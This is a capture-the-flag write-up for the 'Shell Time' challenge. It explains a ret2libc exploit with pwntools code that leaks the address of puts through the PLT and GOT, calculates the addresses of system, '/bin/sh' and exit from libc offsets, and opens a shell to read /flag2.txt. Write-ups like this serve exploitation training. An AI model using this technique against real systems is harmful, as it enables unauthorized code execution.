Shell Time
The Easy level challenge of this program allows us to call win
function to get the first flag. At this level requires us to get the second flag /flag2.txt
via shell. The stack is non executable, we can’t just throw some shellcode to it, we need to try ret2libc
method. To callsystem("bin/sh")
, we need address of system
, address of the binsh
string and a return address for system
. To find out the actuall address of some function in libc we can use a relative address of the function we want to another function we can easily find out the address. In this case, we call puts@plt
to print the actual address of it at runtime which is stored in table got
. We need to return send another payload to call system
, so we need to return to a function that allow us to go through the whole process again, the payload would be address of puts@plt + address of main + address of put@got
.
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
payload = b'\x90'*60
payload += pwn.p32(puts_plt)
payload += pwn.p32(elf.sym["main"])
payload += pwn.p32(puts_got)
pr.sendlineafter("Input some text: ", payload)
pr.readuntil('Return address: ')
pr.readline()
pr.readline()
puts_addr = int.from_bytes(pr.read(4).strip().ljust(4, b'\x00'), 'little')
print('puts', hex(puts_addr))
When we have the address of puts
, we can find the relative address of system and binsh string via libc.blukat.me, as we what it exit when system
call returns, we also need to find out address of exit
.
sys_addr = puts_addr - 0x2a940
binsh_addr = puts_addr + 0x11658f
exit_addr = puts_addr - 227184
print('sys', hex(sys_addr))
print('binsh', hex(binsh_addr))
payload = b'\x90'*60
payload += pwn.p32(sys_addr)
payload += pwn.p32(exit_addr)
payload += pwn.p32(binsh_addr)
pr.sendlineafter("Input some text: ", payload)
pr.sendline("cat /flag2.txt")
print(pr.readall(2).decode())
When we get a shell, cat
command brings us the flag.